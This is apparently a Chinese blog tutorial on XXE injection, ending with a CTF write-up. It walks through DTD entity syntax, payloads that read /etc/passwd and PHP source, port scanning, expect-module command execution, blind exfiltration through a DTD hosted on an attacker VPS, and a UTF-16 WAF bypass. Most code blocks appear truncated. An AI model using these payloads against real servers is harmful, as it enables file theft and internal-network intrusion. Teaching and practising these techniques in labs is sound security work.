XXE漏洞
漏洞概述
“xml外部实体注入漏洞”。
概括一下就是”攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题”
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
知识铺垫(XML)
XML
什么是XML
XML 指可扩展标记语言.
XML 的设计宗旨是传输数据,而不是显示数据.
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签。
XML基本格式
1 | <?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明--> |
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
XML 和 HTML 之间的差异
XML 不是 HTML 的替代。
XML 被设计用来传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。
为什么需要XML
现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。
DTD
DTD是啥
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
实体引用
XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用替换特殊字符。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为DTD这一部分中进行。
DTD的引入方式
DTD的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部DTD
使用内部的dtd文件,即将约束规则定义在xml文档中
1 | <!DOCTYPE 根元素名称 [元素声明]> |
代码示例
1 | <?xml version="1.0"?> |
外部DTD
(1)引入外部的dtd文件
1 | <!DOCTYPE 根元素名称 SYSTEM "dtd路径"> |
(2)使用外部的dtd文件(网络上的dtd文件)
1 | <!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL"> |
当使用外部DTD时,通过如下语法引入:
1 | <!DOCTYPE root-element SYSTEM "filename"> |
代码示例
1 | <?xml version="1.0" encoding="UTF-8"?> |
test.dtd
1 | <!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型--> |
PCDATA
PCDATA:被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&,<,或者>字符,需要用& < >实体来分别替换。
CDATA
CDATA:字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD实体
实体是用于 定义 引用普通文本或特殊字符的 快捷方式 的变量,可以内部声明或外部引用。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
一般实体
声明方式:
引用一般实体的方法:&实体名称;
ps:经实验,普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
参数实体
声明方式:
引用参数实体的方法:%实体名称;
ps:经实验,参数实体只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用。
内部实体
1 | <!ENTITY 实体名称 "实体的值"> |
内部实体代码示例
1 | <?xml version = "1.0" encoding = "utf-8"?> |
外部实体
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机
1 | <!ENTITY 实体名称 SYSTEM "URI/URL"> |
外部实体代码示例
1 | <?xml version = "1.0" encoding = "utf-8"?> |
外部实体可支持http、file等协议。不同程序支持的协议不同:
PHP支持的协议会更多一些,但需要一定的扩展:
PHP引用外部实体,常见的利用协议:
1 | file://文件绝对路径 如:file:///etc/passwd |
参数实体+外部实体
1 | <!ENTITY % 实体名称 SYSTEM "URI/URL"> |
参数实体+外部实体示例代码:
1 | <?xml version="1.0" encoding="utf-8"?> |
%file(参数实体)是在DTD中被引用的,而&file;是在xml文档中被引用的。
XXE漏洞Demo
有回显的xml
xml.php
1 | <?php |
在请求体构造xml(可以构造恶意xml达到读取文件,内网探测等目的)
比如
1 | <!DOCTYPE foo [ |
将这个xml放在请求体中(boby)这样在发送http请求时就会读取服务器上etc/passwd文件里面的内容
下面做实验的话就用一个普通读取的xml文档
1 | <!DOCTYPE foo [ |
无回显的xml
xml.php
1 | <?php |
测试payload
1 | <?xml version="1.0" ?> |
发送和完http请求之后我们发现dnslog.cn上面有访问记录,说明测试成功
XXE攻击
如何构建外部实体注入
一.直接通过DTD外部实体声明
1 | <?xml version="1.0"?> |
二.通过DTD文档引入外部DTD文档,再引入外部实体声明
xml内容
1 | <?xml version="1.0"?> |
DTD文件内容
1 | <!ENTITY b SYSTEM "file://etc/passwd"> |
支持的协议
上面提过的外部实体里面有具体的协议
xxe利用
1.读取任意文件
1.windows读取文件
1 | <?xml version="1.0"?> |
2.linux读取文件
1 | <?xml version="1.0"?> |
3.读取php源码
用php伪协议读取源码(测试的是有回显 的xxe漏洞)
1 | <?xml version = "1.0"?> |
2.内网端口扫描
1 | <?xml version = "1.0"?> |
通过页面反馈时间长短判断端口开放
反馈长端口关闭,反馈短端口开放。
3.远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就可以尝试执行命令。
1 | <?xml version = "1.0"?> |
4.盲打无回显XXE
DTD文件可被用于触发OOB XXE。攻击者将.dtd文件托管在自己的VPS(服务器)上,使远程易受攻击的服务器获取该文件并执行其中的恶意命令。
具体做法是
攻击者在自己的服务器上面创建一个恶意DTD文件,在VPS上启动一个HTTP服务(如 python -m http.server 8081),使得目标服务器能访问到这个DTD文件。
攻击者向目标服务器发送一个精心构造的xmlpayload,这个xml中引用了攻击者vps上的DTD文件,目标服务器解析xml时,会主动去攻击者的vps下载这个DTD文件并且执行其中的恶意指令
然后将数据通过http/ftp/dns请求回传到攻击者的vps上
xmlpaylaod
1 | <?xml version="1.0" ?> |
%remote; 加载攻击者VPS上的 test.dtd 文件。
%int; 和 %send; 是DTD中定义的实体,用于外传数据。
VPS中 test.dtd文件内容
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/2.txt"> |
下面我们剖析上述请求的执行流程
1.%remote阶段:
当XML解析器遇到%remote;时,会向http://192.168.110.133:8081/test.dtd发起请求
获取到的DTD内容会被加载到当前XML文档的DOCTYPE中
2.%int阶段:
解析器接着处理%int;,这会触发DTD中定义的%int实体
%int实体的定义中嵌套了一个send实体的声明
关键点:此时会先解析内层的%file;,即读取d:/2.txt文件内容并进行base64编码
然后将编码后的内容插入到send实体的URL中
3.%send阶段:
最后解析%send;时,实际上是在执行:
解析器会自动向这个URL发起HTTP请求
攻击者只需在VPS上监控HTTP访问日志,就能获取文件内容
5.攻击内网web服务
1 | <?xml version = "1.0"?> |
php_xxe
有回显
打开靶场看到一个登录界面我们尝试登录抓包
回显点是指服务器在响应中直接返回用户输入数据的位置。
这是我们利用靶场进行的第一个测试就是读取文件
同样也可以用这种方法进行内网端口扫描等之类的xxe漏洞测试
这些都是有回显的xml
[CSAWQual 2019]Unagi
打开题目看了所有能看到的界面,这两个界面已经给出我们xmlpayload的写法了
1 | <?xml version="1.0"?> |
我们将这个文件直接上传,发现没有反应,应该是遇到waf了
找到一篇xxe的waf绕过笔记
https://xz.aliyun.com/t/4059?time__1311=n4%2Bxni0QG%3DoCuRgDlxGObCDOYa6dxAKDC8n0eD
我先试了一下将文件从ytf8转为Utf16,在kali中
iconv -f utf8 -t utf-16 1.xml>2.xml
然后上传2.xml得到flag
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~